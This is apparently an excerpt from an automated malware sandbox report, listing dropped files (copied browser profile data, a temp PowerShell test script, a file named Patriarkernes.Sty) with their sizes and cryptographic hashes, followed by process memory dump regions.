34c99ed934b1cb7db1a867188bcc81f3

SHA1
c5c685f12477b62ce13d688b882b22b859fed744

SHA256
f16e31926721c35b8cdf9936f14ce8f0b625281a309e0a367d947cbc5dd7551e

SHA512
9d3acb37a9921023645752984d9059bf4e9c4369c815d8112afcc97edb8eb54c19beac3a0efb9a35ca63b24c97b4be09a0b25dc96a045055f5e4916630679100

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Site Characteristics Database\000003.log

Filesize
40B

MD5
148079685e25097536785f4536af014b

SHA1
c5ff5b1b69487a9dd4d244d11bbafa91708c1a41

SHA256
f096bc366a931fba656bdcd77b24af15a5f29fc53281a727c79f82c608ecfab8

SHA512
c2556034ea51abfbc172eb62ff11f5ac45c317f84f39d4b9e3ddbd0190da6ef7fa03fe63631b97ab806430442974a07f8e81b5f7dc52d9f2fcdc669adca8d91f

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Site Characteristics Database\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Site Characteristics Database\LOG

Filesize
291B

MD5
96d31172282a54ad4efdc017bd7104b3

SHA1
92fea8c46a59a9039b005f186a16edf173dbbc89

SHA256
6bde694bf5512faaa21e0845ede5aff750b7889ea7d412e3367f87b1344381e2

SHA512
5d76c097c22b887bc972563b801edddf9c3bd9324a36e789812e314ec20b0ebc23648817c94d13632b8ea38cd72d745019332c9869b67550a56aeed23580be5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Sync Data\LevelDB\000003.log

Filesize
46B

MD5
90881c9c26f29fca29815a08ba858544

SHA1
06fee974987b91d82c2839a4bb12991fa99e1bdd

SHA256
a2ca52e34b6138624ac2dd20349cde28482143b837db40a7f0fbda023077c26a

SHA512
15f7f8197b4fc46c4c5c2570fb1f6dd73cb125f9ee53dfa67f5a0d944543c5347bdab5cce95e91dd6c948c9023e23c7f9d76cff990e623178c92f8d49150a625

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Sync Data\LevelDB\LOG

Filesize
267B

MD5
6b8ab59be91a82dd4a866de4df278bf7

SHA1
33a272f25c84c8e9d2d581a398986e9e8172b208

SHA256
76c56dee3772ab8fa43acc1949f16feaa84c104b548aeb3d30cc27d76e7bd5f0

SHA512
db52cf95b2567f6b0038561180d39febba9bd703e5ecfc44d0e7fdb0a1fa7db15ca4b1a15cb297a238c083fd04075cd7033d2f15f60de760d3fcb20d0db67cb1

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Top Sites

Filesize
20KB

MD5
986962efd2be05909f2aaded39b753a6

SHA1
657924eda5b9473c70cc359d06b6ca731f6a1170

SHA256
d5dddbb1fbb6bbf2f59b9d8e4347a31b6915f3529713cd39c0e0096cea4c4889

SHA512
e2f086f59c154ea8a30ca4fa9768a9c2eb29c0dc2fe9a6ed688839853d90a190475a072b6f7435fc4a1b7bc361895086d3071967384a7c366ce77c6771b70308

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Visited Links

Filesize
128KB

MD5
6d465966765e8a913be482c4c2d0a36a

SHA1
c1060da720fa0576ab76a159be878c5d21336ce2

SHA256
8b57b3d751610a6f76f49825608d2569456c0ca2ffaf396b8f6753be7718de8b

SHA512
44e71be69a8ba86fc3a2e473e9f56409d97a0f1cde23915f2233841bd3b313b2382a0131e02fc034f05284543710113ed9508fb49c6f9081dda6741a8c7c79be

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Web Data

Filesize
114KB

MD5
d97721f120e6ecbf5fd0e8a45447023f

SHA1
5475ba711065c241d0f08ad87c3ac3485c15f909

SHA256
eb4fd143de435d6dbba9bbda947571da01c5e84f76ea45f790ea632383d7b867

SHA512
7905550e40c10a4fd6a8ab475b923cc69d3137f3d4b7aa2dd7697a76ce0162c25a37e0dd49ae78afc29960777369aa70f03623ae23f1b21227bbb155b00b76d0

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\shared_proto_db\000003.log

Filesize
4KB

MD5
36d68354e098d87af10dfb5fd0448b7b

SHA1
3c804aac7e6fdb3a0fac5a69434979cec310d062

SHA256
9e925f4f65abd1800015e912ada00c2f965300af3f4377147fd4d54e878ed335

SHA512
c477a93346b23155fffec422454963a2657b9b3b14d07f31c6249f4ea37753d5bc946f12d6e79d44351d8c2c78960489dfc4281632e2a17aa1dbcfc4d3c74199

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\shared_proto_db\LOG

Filesize
265B

MD5
0bde4db32933bd925ee963b3eb83ef82

SHA1
330e4593b0079029391fdb35b5d0a9772e44ecfd

SHA256
caaaf179ea17280f5dc50f490e3064b59c82e4aecff0ef8a57be5211592c2890

SHA512
7dd53217a7159f50c53a169113336ee592fd1cbed64f081408f8cf0cc36c5f99f7b152e77f814a8e1dc37d38cf0963024fcd5cbc6fe8cc0531b4a833656ae4c7

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\shared_proto_db\metadata\000003.log

Filesize
682B

MD5
118af5acfefef2827a4175ed5eb8e671

SHA1
52601ae99b87f3adc79e0f5e17d5bdf719e830d8

SHA256
2e5168e6e5bd2808621863ad23085b7cfd44345c269f86b3f926f462599d843b

SHA512
840041892479eb4aef2cd23bc58c383bd94515d751361a37704d3823d36906be6af50ab0ec7919dfba3d5aa2e4d1319f878d9d1eb453029355504ce8fb68dde0

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\shared_proto_db\metadata\LOG

Filesize
281B

MD5
1fdc724dcd851e0d91d05be0170c7818

SHA1
65beb234041ca79aa057334129a00fea063375d1

SHA256
c5a34b761818b844d8210067d31050ac624edda237f3cb60220d11a27b9fb8ba

SHA512
584f011a0a8583306e3f0e8ea08253e9345ec001286bb32b6c76e01ddf55231519286e01a6f6088809ad731f7ea139c3efeb59329900b7fc8a07c7c13a175fff

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\GraphiteDawnCache\data_0

Filesize
8KB

MD5
cf89d16bb9107c631daabf0c0ee58efb

SHA1
3ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b

SHA256
d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e

SHA512
8cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\GraphiteDawnCache\data_1

Filesize
264KB

MD5
d0d388f3865d0523e451d6ba0be34cc4

SHA1
8571c6a52aacc2747c048e3419e5657b74612995

SHA256
902f30c1fb0597d0734bc34b979ec5d131f8f39a4b71b338083821216ec8d61b

SHA512
376011d00de659eb6082a74e862cfac97a9bb508e0b740761505142e2d24ec1c30aa61efbc1c0dd08ff0f34734444de7f77dd90a6ca42b48a4c7fad5f0bddd17

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\GraphiteDawnCache\data_2

Filesize
8KB

MD5
0962291d6d367570bee5454721c17e11

SHA1
59d10a893ef321a706a9255176761366115bedcb

SHA256
ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7

SHA512
f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\GraphiteDawnCache\data_3

Filesize
8KB

MD5
41876349cb12d6db992f1309f22df3f0

SHA1
5cf26b3420fc0302cd0a71e8d029739b8765be27

SHA256
e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c

SHA512
e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Last Version

Filesize
11B

MD5
838a7b32aefb618130392bc7d006aa2e

SHA1
5159e0f18c9e68f0e75e2239875aa994847b8290

SHA256
ac3dd2221d90b09b795f1f72e72e4860342a4508fe336c4b822476eb25a55eaa

SHA512
9e350f0565cc726f66146838f9cebaaa38dd01892ffab9a45fe4f72e5be5459c0442e99107293a7c6f2412c71f668242c5e5a502124bc57cbf3b6ad8940cb3e9

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Local State

Filesize
8KB

MD5
9cea6f908d0aa2c0f42132fea772a4bd

SHA1
87d086ef368b0ed4f9b7ad4972653288a1bcbf9c

SHA256
73bfd9eaf60b0d7dff70cd6888b92eda8e1a13f0e0279cad01bedf7ec2b6fa6b

SHA512
a55112e4d8c8c7dbb97a22b25c666ea54a14dfb363519c8c4881ee3b87468adc653bfab621fab64603013a0e191a3232c02cf74b94289bdb54c1d7103d69799c

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Local State

Filesize
116KB

MD5
b1610d3f5b1447f29ea8a3c49b91284f

SHA1
f00e2e1aea5346e49e0585062a84f82eb34ec0a3

SHA256
f0ba63f8fb1d23dff55acfcb24536dbe802953907f44c65ad6a674ed398449ed

SHA512
45570ffad924e9b10945bef3933a99442c6fcf1966c944f15d4c57b42e70645d5735d5b22a982b53d69446699f3ac1e7168161cd80387f3cf7d584fad3021ee8

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_clat1sea.3uy.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\zdqgemdpcythwwnucxzwf

Filesize
4KB

MD5
16dfb23eaa7972c59c36fcbc0946093b

SHA1
1e9e3ff83a05131575f67e202d352709205f20f8

SHA256
36c49c94327c8cadcad4c0d2b3a8f5162fc7bb86624923484476c5f7b960bc4c

SHA512
a8b38b5e7bf886b78c5c7f01234b44647a252d4dfbcc06c99b863f8e160e3cfc151b2a83b8b49e09d13e8547419467da4bffbb8dee5fc6740032eb7c839d89dc

Download Submit
C:\Users\Admin\AppData\Roaming\Patriarkernes.Sty

Filesize
424KB

MD5
5dcdd64f78f54a5547851c6cefb45a56

SHA1
93f935660c103294b5de3c515a26af942cd8af13

SHA256
70d9740b4a50be83e901fae2c5bb0b4f8fa7a897a9e46af62f5cd860100c8a31

SHA512
7a84a46f89288d552b4bad1c0400b0ea627e0cbb0dd6ab994797bb222f04e5999448360a3557aad861140539f01f90c237446a3efd4e8676d065b56bbf71a148

Download Submit
\??\pipe\crashpad_4932_JCDSSDUVVALBTGOZ

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/528-172-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/528-19-0x00007FFC7BC93000-0x00007FFC7BC95000-memory.dmp

Filesize
8KB

Download
memory/528-16-0x00007FFC7BC90000-0x00007FFC7C751000-memory.dmp

Filesize
10.8MB

Download
memory/528-20-0x00007FFC7BC90000-0x00007FFC7C751000-memory.dmp

Filesize
10.8MB

Download
memory/528-23-0x00007FFC7BC90000-0x00007FFC7C751000-memory.dmp

Filesize
10.8MB

Download
memory/528-15-0x00007FFC7BC90000-0x00007FFC7C751000-memory.dmp

Filesize
10.8MB

Download
memory/528-147-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/528-14-0x00000178B6CF0000-0x00000178B6D12000-memory.dmp

Filesize
136KB

Download
memory/528-143-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/528-4-0x00007FFC7BC93000-0x00007FFC7BC95000-memory.dmp

Filesize
8KB

Download
memory/1220-71-0x0000000021050000-0x0000000021084000-memory.dmp

Filesize
208KB

Download
memory/1220-210-0x0000000021970000-0x0000000021989000-memory.dmp

Filesize
100KB

Download
memory/1220-67-0x0000000021050000-0x0000000021084000-memory.dmp

Filesize
208KB

Download
memory/1220-70-0x0000000021050000-0x0000000021084000-memory.dmp

Filesize
208KB

Download
memory/1220-211-0x0000000021970000-0x0000000021989000-memory.dmp

Filesize
100KB

Download
memory/1220-61-0x00000000010E0000-0x0000000002334000-memory.dmp

Filesize
18.3MB

Download
memory/1220-207-0x0000000021970000-0x0000000021989000-memory.dmp

Filesize
100KB

Download
memory/3172-114-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3172-112-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3172-117-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3172-106-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3936-177-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/3936-175-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/3936-176-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/5092-41-0x0000000006780000-0x00000000067CC000-memory.dmp

Filesize
304KB

Download
memory/5092-40-0x0000000006730000-0x000000000674E000-memory.dmp

Filesize
120KB

Download
memory/5092-28-0x0000000005980000-0x00000000059E6000-memory.dmp

Filesize
408KB

Download
memory/5092-27-0x0000000005910000-0x0000000005976000-memory.dmp

Filesize
408KB

Download
memory/5092-26-0x0000000005860000-0x0000000005882000-memory.dmp

Filesize
136KB

Download
memory/5092-25-0x00000000059F0000-0x0000000006018000-memory.dmp

Filesize
6.2MB

Download
memory/5092-24-0x0000000002E20000-0x0000000002E56000-memory.dmp

Filesize
216KB

Download
memory/5092-38-0x0000000006360000-0x00000000066B4000-memory.dmp

Filesize
3.3MB

Download
memory/5092-42-0x0000000007F90000-0x000000000860A000-memory.dmp

Filesize
6.5MB

Download
memory/5092-43-0x0000000006CC0000-0x0000000006CDA000-memory.dmp

Filesize
104KB

Download
memory/5092-44-0x00000000079F0000-0x0000000007A86000-memory.dmp

Filesize
600KB

Download
memory/5092-45-0x0000000007950000-0x0000000007972000-memory.dmp

Filesize
136KB

Download
memory/5092-46-0x0000000008BC0000-0x0000000009164000-memory.dmp

Filesize
5.6MB

Download
memory/5092-48-0x0000000009170000-0x000000000BAD8000-memory.dmp

Filesize
41.4MB

Download